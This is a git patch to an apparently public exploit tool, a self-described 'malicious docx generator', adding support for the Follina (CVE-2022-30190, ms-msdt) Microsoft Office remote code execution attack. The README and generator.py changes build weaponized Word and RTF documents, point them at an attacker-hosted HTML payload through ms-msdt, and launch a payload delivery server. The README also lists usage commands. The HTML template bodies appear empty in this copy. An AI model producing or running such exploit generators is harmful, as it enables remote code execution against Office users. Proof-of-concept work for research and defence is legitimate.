From 8983af2c8ff02f64549151d6b8cad9db7984d657 Mon Sep 17 00:00:00 2001 From: d3adc0de Date: Tue, 31 May 2022 09:53:01 +0100 Subject: [PATCH] Add POC for POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina --- README.md | 28 +++++++++---- generator.py | 57 +++++++++++++++++++++----- requirements.txt | 1 + template/cabless-msdt-sample1.html | 65 ++++++++++++++++++++++++++++++ template/cabless-msdt-sample2.html | 65 ++++++++++++++++++++++++++++++ test/calc.ps1 | 1 + 6 files changed, 199 insertions(+), 18 deletions(-) create mode 100644 template/cabless-msdt-sample1.html create mode 100644 template/cabless-msdt-sample2.html create mode 100644 test/calc.ps1 diff --git a/README.md b/README.md index e1c93c4..7ad64e3 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,10 @@ Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution), works with arbitrary DLL files. +### Update 31/05/2022 - CVE-2022-30190 - Follina + +Now the generator is able to generate the document required to exploit also the "Follina" attack (leveraging ms-msdt). + # Background Although many PoC are already around the internet, I guessed to give myself a run to weaponizing this vulnerability, @@ -11,6 +15,7 @@ released a patch for this vulnerability. So far, the only valuable resources I've seen to create a fully working generator are: * [Blog by Ret2Pwn](https://xret2pwn.github.io//CVE-2021-40444-Analysis-and-Exploit/) * [Twit by j00sean](https://twitter.com/j00sean/status/1437390861499838466) +* [Twit by wdormann](https://twitter.com/wdormann/status/1531250993127739392) The above resources outline a lot of the requirements needed to create a full chain. To avoid repeating too much unnecessary information, I'll just summarize the relevant details. @@ -117,18 +122,21 @@ To summarise: The generator utility can currently reproduce the following attacks: -| Attack | HTML Templates | Target | Delivery Method | Execution Method | Working | -|-------------------------------------------|---------------------|--------|-----------------|------------------|-----------------| -| Original version of the attack | cab-orig-* | WORD | DOCX | CAB + DLL | YES | -| j00sean IE-only attack | cab-orig-j00san | IE | HTML | CAB + DLL | YES | -| My version without DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 | -| Eduardo B. "CABless" attack using RAR | cabless-rar-* | WORD | RAR | WSF | YES | -| Modified j00sean attack + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | YES2 | +| Attack | HTML Templates | Target | Delivery Method | Execution Method | Working | +|------------------------------------------|---------------------|--------|-----------------|------------------|-----------------| +| Original version of the attack | cab-orig-* | WORD | DOCX | CAB + DLL | YES | +| j00sean IE-only attack | cab-orig-j00san | IE | HTML | CAB + DLL | YES | +| My version without DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 | +| Eduardo B. "CABless" attack using RAR | cabless-rar-* | WORD | RAR | WSF | YES | +| Modified j00sean attack + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | YES2 | +| Follina attack | cabless-msdt-* | WORD | HTML | MSDT + PS | YES3 | _1The CAB is not downloaded properly in some environments_ _2The user needs to click on "Save" to download the file on IE_ +_3Not really working on all Windows/MS Word versions_ + # CAB file parser The utility `cab_parser.py` can be used to see the headers of the exploit file, but don't consider this a full @@ -202,6 +210,12 @@ python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host ``` python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t ``` +* +* Generate the CABless exploit leveraging MS-MSDT (Follina attack), in both DOCX and RTF docs + +``` +python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert +``` # Credits diff --git a/generator.py b/generator.py index bd3a48c..aad1a86 100644 --- a/generator.py +++ b/generator.py @@ -19,6 +19,7 @@ import tempfile import time import traceback from pathlib import Path +import win32com.client from cab_parser import Cab from in_place import InPlace @@ -161,6 +162,8 @@ def get_file_extension_based_uri(exploit, no_cab=False): return exploit elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"]: return ".wsf" + else: + return "ms-msdt" def get_mime_type(exploit): @@ -176,9 +179,11 @@ def get_mime_type(exploit): return "text/plain" elif exploit == ".wsf": return "text/xml" + else: + return "text/plain" -def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): +def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False, convert=False): # Current Working Directory working_directory = Path(__file__).parent @@ -201,14 +206,16 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): exploit = os.path.splitext(args.payload)[1] - if no_cab and exploit != ".wsf": - print("[-] CAB-less version chosen, only .wsf is currently working") + if no_cab and exploit not in [".wsf", ".ps1"]: + print("[-] CAB-less version chosen, only .wsf and .ps1 are currently working") exit(1) - lolbin = exploit not in [".dll"] + lolbin = exploit not in [".dll", ".ps1"] if exploit == ".wsf" and no_cab: id = "cabless-rar-" + elif exploit == ".ps1" and no_cab: + id = "cabless-msdt-" elif lolbin and no_cab: id = "cabless-smuggling-" elif lolbin: @@ -268,7 +275,10 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): print('[*] Crafting Relationships to point to HTML/CAB/JS Hosting Server...') with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels: xml_content = rels.read() - xml_content = xml_content.replace('', f'{server_url}/{html_final_file.name}') + if exploit != ".ps1": + xml_content = xml_content.replace('', f'{server_url}/{html_final_file.name}') + else: + xml_content = xml_content.replace('mhtml:!x-usc:', f'{server_url}/{html_final_file.name}!') # xml_content = xml_content.replace('', inf_file.name) rels.write(xml_content) @@ -316,6 +326,7 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): content = content.replace('', f"{rar_file.name}") content = content.replace('', get_file_extension_based_uri(exploit)) content = content.replace('', b64_payload) + content = content.replace('', payload_content.decode()) content = content.replace('', get_mime_type(exploit)) content = content.replace('', get_file_extension_based_uri(exploit)[1]) content = content.replace('', get_file_extension_based_uri(exploit)[2]) @@ -324,6 +335,12 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): print(f'[+] Success! MS Word Document stored at: {word_doc}') + if convert: + if convert_to_rtf(word_doc): + print(f'[+] Success! MS Word Document was converted to RTF!') + else: + print(f'[-] ERROR. MS Word Document could not be converted to RTF.') + if exploit == ".wsf" and no_cab: print(f"[*] Generating RAR file {rar_file.name}... and pushing it to 'Downloads', to emulate user download") rar_dest = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath(rar_file.name) @@ -336,10 +353,10 @@ def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): return html_final_file.name -def start_server(lport, directory: Path): +def start_server(ip, port, directory: Path): this = Path(__file__).parent.joinpath("util").joinpath("server.py") subprocess.Popen( - f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" localhost {lport}', + f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" {ip} {port}', shell=True, close_fds=True, stderr=subprocess.DEVNULL, @@ -363,6 +380,21 @@ def clean(): pass +def convert_to_rtf(filename): + new_file = os.path.splitext(filename)[0] + ".rtf" + try: + word = win32com.client.Dispatch("Word.application") + word.Visible = False + wordDoc = word.Documents.Open(str(Path(filename).absolute())) + # wdFormatRTF = 6 + wordDoc.SaveAs2(str(Path(new_file).absolute()), FileFormat=6) + wordDoc.Close() + return True + except: + traceback.print_exc() + return False + + def validate_filename(filename): # Required length for the file name required_length = 12 @@ -391,6 +423,8 @@ if __name__ == '__main__': help="Use the CAB-less version of the exploit") parser.add_argument('-t', '--test', action='store_true', default=False, required=False, help="Open IExplorer to test the final HTML file") + parser.add_argument('-x', '--convert', action='store_true', default=False, required=False, + help="Convert DOCX into RTF format") args = parser.parse_args() @@ -401,8 +435,9 @@ if __name__ == '__main__': server = args.url port = 80 + ip = "127.0.0.1" try: - scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1] + scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1].split(":")[0] if scheme == "http": port = 80 elif scheme == "https": @@ -420,15 +455,15 @@ if __name__ == '__main__': try: html = generate_payload(payload=args.payload, server_url=server, basename=filename, copy_to=args.copy_to, - no_cab=args.no_cab) + no_cab=args.no_cab, convert=args.convert) except (SystemExit, KeyboardInterrupt): exit(1) except: traceback.print_exc() exit(1) if args.host and html: - print(f'[*] Hosting HTML Exploit at {args.url}:{port}/{html}...') - start_server(lport=port, directory=Path(__file__).parent.joinpath("srv")) + print(f'[*] Hosting HTML Exploit at {ip}:{port}/{html}...') + start_server(ip=ip, port=port, directory=Path(__file__).parent.joinpath("srv")) if args.test: if os.path.splitext(args.payload)[1] != ".wsf": print(f"[-] IE testing might not compatible with {os.path.splitext(args.payload)[1]}") diff --git a/requirements.txt b/requirements.txt index 4d11222..36ab574 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ in_place werkzeug +pywin32 \ No newline at end of file diff --git a/template/cabless-msdt-sample1.html b/template/cabless-msdt-sample1.html new file mode 100644 index 0000000..e53406c --- /dev/null +++ b/template/cabless-msdt-sample1.html @@ -0,0 +1,65 @@ + + + + + + + CVE-2021-40444 2 - The return + + + + + + \ No newline at end of file diff --git a/template/cabless-msdt-sample2.html b/template/cabless-msdt-sample2.html new file mode 100644 index 0000000..502749c --- /dev/null +++ b/template/cabless-msdt-sample2.html @@ -0,0 +1,65 @@ + + + + + + + CVE-2021-40444 2 - The return + + + + + + \ No newline at end of file diff --git a/test/calc.ps1 b/test/calc.ps1 new file mode 100644 index 0000000..337ccb6 --- /dev/null +++ b/test/calc.ps1 @@ -0,0 +1 @@ +Start-Process('notepad') \ No newline at end of file